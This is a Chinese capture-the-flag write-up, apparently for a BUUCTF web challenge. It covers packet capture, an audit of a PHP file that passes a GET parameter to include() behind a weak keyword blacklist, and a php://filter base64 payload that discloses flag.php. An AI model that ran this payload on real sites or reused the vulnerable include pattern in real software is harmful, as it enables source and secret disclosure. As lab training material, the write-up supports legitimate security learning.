知识点:抓包 代码审计 filter伪协议
一、解题步骤
step 1 查看源代码中的信息
查看源代码发现一个php文件:[./Archive_room.php](http://72df1f22-85bf-47bb-b23a-efcaf88701d4.node5.buuoj.cn:81/Archive_room.php)
点进去后发现没什么用,更像是无用的剧情
step 2 进行抓包
点击源代码中的文件,发现新页面,点击secret
什么也没发现,所以在点击动作这里进行抓包,将其发送到Repeater页面,进行发送,看到另外一些代码
<!DOCTYPE html>
<html>
<!--secr3t.php
-->
</html>
在本题页面的url上访问 secr3t.php
文件,得到如下页面
<html><title>secret</title><meta charset="UTF-8">
<?phphighlight_file(__FILE__);error_reporting(0);$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file);
//flag放在了flag.php里
?>
</html>
step 3 访问flag.php
文件
看到flag文件很开心,结果被嘲讽了
但是这里说“我就在这里”,说明大方向没问题。但是前端和源码都没有flag信息,猜测在flag文件中,所以猜测secr3t.php
存在文件包含漏洞
step 4 代码审计
审计secr3t.php
,发现过滤了部分关键字,但是并未过滤filter,那么可以尝试用php://filter来获取flag.php的内容
<html><title>secret</title><meta charset="UTF-8">
<?phphighlight_file(__FILE__);error_reporting(0);$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file);
//flag放在了flag.php里
?>
</html>
step 5 php://filter伪协议
构造如下payload:
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
得到如下信息:
step 6 base64解码
通过base64解码得到flag信息